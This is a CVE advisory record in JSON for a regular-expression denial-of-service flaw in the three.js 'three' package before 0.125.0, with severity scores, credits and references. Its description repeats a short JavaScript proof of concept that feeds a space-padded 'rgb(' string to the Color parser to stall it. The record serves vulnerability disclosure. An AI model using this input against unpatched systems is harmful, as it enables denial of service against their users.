{"id":"CVE-2020-28496","state":"PUBLISHED","title":"Regular Expression Denial of Service (ReDoS)","description":"This affects the package three before 0.125.0. This can happen when handling rgb or hsl colors. PoC: var three = require('three') function build_blank (n) { var ret = \"rgb(\" for (var i = 0; i < n; i++) { ret += \" \" } return ret + \"\"; } var Color = three.Color var time = Date.now(); new Color(build_blank(50000)) var time_cost = Date.now() - time; console.log(time_cost+\" ms\")","publishedAt":"2021-02-18T14:20:22.065Z","updatedAt":"2024-09-17T01:01:31.663Z","severity":{"score":7.5,"label":"High","version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","source":"snyk"},"assigner":"snyk","products":["n/a three"],"affected":[{"vendor":"n/a","product":"three","versions":[{"version":"unspecified","status":"affected","lessThan":"0.125.0","versionType":"custom"}]}],"references":["https://snyk.io/vuln/SNYK-JS-THREE-1064931","https://snyk.io/vuln/SNYK-JAVA-ORGWEBJARSNPM-1065972","https://github.com/mrdoob/three.js/issues/21132","https://github.com/mrdoob/three.js/pull/21143/commits/4a582355216b620176a291ff319d740e619d583e"],"weaknesses":[],"ingestedAt":"2026-10-29T19:47:13.795Z","source":{"repository":"CVEProject/cvelistV5","path":"cves/2020/28xxx/CVE-2020-28496.json","commit":"556c9d3a8cd17e218bb8e452ba7cd619a384ff47"},"raw":{"dataType":"CVE_RECORD","dataVersion":"5.1","cveMetadata":{"cveId":"CVE-2020-28496","state":"PUBLISHED","datePublished":"2021-02-18T14:20:22.065Z","dateUpdated":"2024-09-17T01:01:31.663Z","assignerShortName":"snyk","assignerOrgId":"bae035ff-b466-4ff4-94d0-fc9efd9e1730","dateReserved":"2020-11-12T00:00:00.000Z"},"containers":{"cna":{"title":"Regular Expression Denial of Service (ReDoS)","descriptions":[{"lang":"en","value":"This affects the package three before 0.125.0. This can happen when handling rgb or hsl colors. PoC: var three = require('three') function build_blank (n) { var ret = \"rgb(\" for (var i = 0; i < n; i++) { ret += \" \" } return ret + \"\"; } var Color = three.Color var time = Date.now(); new Color(build_blank(50000)) var time_cost = Date.now() - time; console.log(time_cost+\" ms\")"}],"affected":[{"vendor":"n/a","product":"three","versions":[{"version":"unspecified","status":"affected","lessThan":"0.125.0","versionType":"custom"}]}],"references":[{"url":"https://snyk.io/vuln/SNYK-JS-THREE-1064931","tags":["x_refsource_MISC"]},{"url":"https://snyk.io/vuln/SNYK-JAVA-ORGWEBJARSNPM-1065972","tags":["x_refsource_MISC"]},{"url":"https://github.com/mrdoob/three.js/issues/21132","tags":["x_refsource_MISC"]},{"url":"https://github.com/mrdoob/three.js/pull/21143/commits/4a582355216b620176a291ff319d740e619d583e","tags":["x_refsource_MISC"]}],"metrics":[{"cvssV3_1":{"attackComplexity":"LOW","attackVector":"NETWORK","availabilityImpact":"HIGH","baseScore":7.5,"baseSeverity":"HIGH","confidentialityImpact":"NONE","integrityImpact":"NONE","privilegesRequired":"NONE","scope":"UNCHANGED","userInteraction":"NONE","vectorString":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","version":"3.1"}}],"problemTypes":[{"descriptions":[{"description":"Regular Expression Denial of Service (ReDoS)","lang":"en","type":"text"}]}],"providerMetadata":{"shortName":"snyk","dateUpdated":"2021-02-18T14:20:21.000Z","orgId":"bae035ff-b466-4ff4-94d0-fc9efd9e1730"},"credits":[{"lang":"en","value":"Yeting Li"},{"lang":"en","value":"Liyuan Chen"}],"datePublic":"2021-02-18T00:00:00.000Z","x_legacyV4Record":{"CVE_data_meta":{"ASSIGNER":"report@snyk.io","DATE_PUBLIC":"2021-02-18T14:18:29.728676Z","ID":"CVE-2020-28496","STATE":"PUBLIC","TITLE":"Regular Expression Denial of Service (ReDoS)"},"affects":{"vendor":{"vendor_data":[{"product":{"product_data":[{"product_name":"three","version":{"version_data":[{"version_affected":"<","version_value":"0.125.0"}]}}]},"vendor_name":"n/a"}]}},"credit":[{"lang":"eng","value":"Yeting Li"},{"lang":"eng","value":"Liyuan Chen"}],"data_format":"MITRE","data_type":"CVE","data_version":"4.0","description":{"description_data":[{"lang":"eng","value":"This affects the package three before 0.125.0. This can happen when handling rgb or hsl colors. PoC: var three = require('three') function build_blank (n) { var ret = \"rgb(\" for (var i = 0; i < n; i++) { ret += \" \" } return ret + \"\"; } var Color = three.Color var time = Date.now(); new Color(build_blank(50000)) var time_cost = Date.now() - time; console.log(time_cost+\" ms\")"}]},"impact":{"cvss":{"attackComplexity":"LOW","attackVector":"NETWORK","availabilityImpact":"HIGH","baseScore":7.5,"baseSeverity":"HIGH","confidentialityImpact":"NONE","integrityImpact":"NONE","privilegesRequired":"NONE","scope":"UNCHANGED","userInteraction":"NONE","vectorString":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","version":"3.1"}},"problemtype":{"problemtype_data":[{"description":[{"lang":"eng","value":"Regular Expression Denial of Service (ReDoS)"}]}]},"references":{"reference_data":[{"name":"https://snyk.io/vuln/SNYK-JS-THREE-1064931","refsource":"MISC","url":"https://snyk.io/vuln/SNYK-JS-THREE-1064931"},{"name":"https://snyk.io/vuln/SNYK-JAVA-ORGWEBJARSNPM-1065972","refsource":"MISC","url":"https://snyk.io/vuln/SNYK-JAVA-ORGWEBJARSNPM-1065972"},{"name":"https://github.com/mrdoob/three.js/issues/21132","refsource":"MISC","url":"https://github.com/mrdoob/three.js/issues/21132"},{"name":"https://github.com/mrdoob/three.js/pull/21143/commits/4a582355216b620176a291ff319d740e619d583e","refsource":"MISC","url":"https://github.com/mrdoob/three.js/pull/21143/commits/4a582355216b620176a291ff319d740e619d583e"}]}}},"adp":[{"title":"CVE Program Container","references":[{"url":"https://snyk.io/vuln/SNYK-JS-THREE-1064931","tags":["x_refsource_MISC","x_transferred"]},{"url":"https://snyk.io/vuln/SNYK-JAVA-ORGWEBJARSNPM-1065972","tags":["x_refsource_MISC","x_transferred"]},{"url":"https://github.com/mrdoob/three.js/issues/21132","tags":["x_refsource_MISC","x_transferred"]},{"url":"https://github.com/mrdoob/three.js/pull/21143/commits/4a582355216b620176a291ff319d740e619d583e","tags":["x_refsource_MISC","x_transferred"]}],"providerMetadata":{"shortName":"CVE","orgId":"af854a3a-2127-422b-91ae-364da2661108","dateUpdated":"2024-08-04T16:40:59.566Z"}}]}}}